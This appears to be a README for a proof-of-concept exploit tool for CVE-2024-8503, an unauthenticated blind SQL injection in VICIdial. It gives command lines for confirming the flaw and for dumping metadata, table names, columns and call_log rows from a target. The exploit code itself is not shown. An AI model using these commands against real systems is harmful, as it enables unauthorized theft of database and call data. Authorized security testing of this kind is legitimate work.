
Unauthenticated time-based blind SQL injection PoC for VICIdial CVE-2024-8503, with metadata extraction, resumable scans, and strict safety limits.
Unauthenticated time-based blind SQL injection proof of concept for VICIdial's VERM_AJAX_functions.php endpoint (CVE-2024-8503). The project is intended for authorized security testing, validation, and education only.
CVE-2024-8503 is an unauthenticated SQL injection in VICIdial where a crafted Basic Auth username value can reach vulnerable query logic in VERM_AJAX_functions.php. This PoC uses time-based inference to confirm exploitability and extract limited metadata and table data in a controlled way.
This release enforces strict proof-of-concept limits:
requestsInstall dependencies:
pip install requests
Run the local self-check to confirm configuration without making any network requests:
python3 CVE-2024-8503-POC.py --self-check
Run a basic non-interactive scan:
python3 CVE-2024-8503-POC.py --url https://target.tld
Interactive mode is a separate workflow for operator-driven testing. It is useful when you want to step through extraction tasks manually instead of running a single command.
python3 CVE-2024-8503-POC.py --url https://target.tld --interactive
The interactive menu supports metadata extraction, table and column discovery, manual extraction, auto-extraction, custom queries, and resumable full scans.
Use these commands when you want a specific task without entering the interactive menu.
Extract metadata:
python3 CVE-2024-8503-POC.py --url https://target.tld --metadata db_version database db_user
List tables:
python3 CVE-2024-8503-POC.py --url https://target.tld --list-tables
Get columns for a table:
python3 CVE-2024-8503-POC.py --url https://target.tld --get-columns call_log
Extract specific columns:
python3 CVE-2024-8503-POC.py --url https://target.tld --table call_log --columns uniqueid,channel --rows 3
Auto-extract table data:
python3 CVE-2024-8503-POC.py --url https://target.tld --auto-extract call_log
Full scan:
python3 CVE-2024-8503-POC.py --url https://target.tld --full-scan
Custom query (SELECT only):
python3 CVE-2024-8503-POC.py --url https://target.tld --custom-query "SELECT DATABASE()"
Optional flags:
--path to change the endpoint path (default: /VERM/VERM_AJAX_functions.php)--skip-vuln-check to skip the initial confirmation probe--export to save results (JSON for metadata/full scan, CSV for table data)Progress is saved automatically to:
.vicidial_scan_state.json
If a previous scan is detected, the script will offer to resume or clear state.
LICENSE file should be added at the repository root; this README assumes MIT.This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. You must obtain explicit written permission before testing any systems you do not own. The author assumes no liability for misuse or damage caused by this tool.
This project is licensed under the MIT License. See the repository-level LICENSE file for the details.